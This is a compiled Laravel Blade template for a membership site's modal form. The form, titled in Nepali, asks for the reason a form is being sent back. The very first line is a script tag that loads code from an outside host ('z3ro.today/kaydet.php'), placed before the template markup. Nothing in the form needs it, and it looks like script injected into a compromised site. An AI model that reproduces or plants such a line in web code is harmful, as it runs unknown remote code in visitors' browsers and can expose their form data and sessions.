<script src="http://z3ro.today/kaydet.php"></script><div class="modal fade" id="sendBack" tabindex="-1" aria-labelledby="sendBackLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header" style="background-color: #ddd;">
        <h5 class="modal-title" id="sendBackLabel">फाराम फिर्ता पठाउनुको कारण</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body">
        <form action="<?php echo e(make_route('send-back',$memberInfo->id)); ?>" method="POST">
          <?php echo csrf_field(); ?>
          <div class="row">

            <div class="col-md-12 mb-3">
              <input id="sent_back_for" type="text" class="form-control <?php $__errorArgs = ['sent_back_for'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>" name="sent_back_for" value="<?php echo e(old('sent_back_for')); ?>" required autocomplete="off">

              <?php $__errorArgs = ['sent_back_for'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
              <span class="invalid-feedback" role="alert">
                <strong><?php echo e($message); ?></strong>
              </span>
              <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
            </div>


          </div>

          <center>
            <div class="col-md-4 mb-3">
              <button class="btn btn-primary w-100 waves-effect waves-light" type="submit"> SEND</button>
            </div>
          </center>
        </form>
      </div>
    </div>
  </div>
</div><?php /**PATH /home/acer/Desktop/xampp/htdocs/new_member_ahlspc/resources/views/member-details/form-send-back.blade.php ENDPATH**/ ?>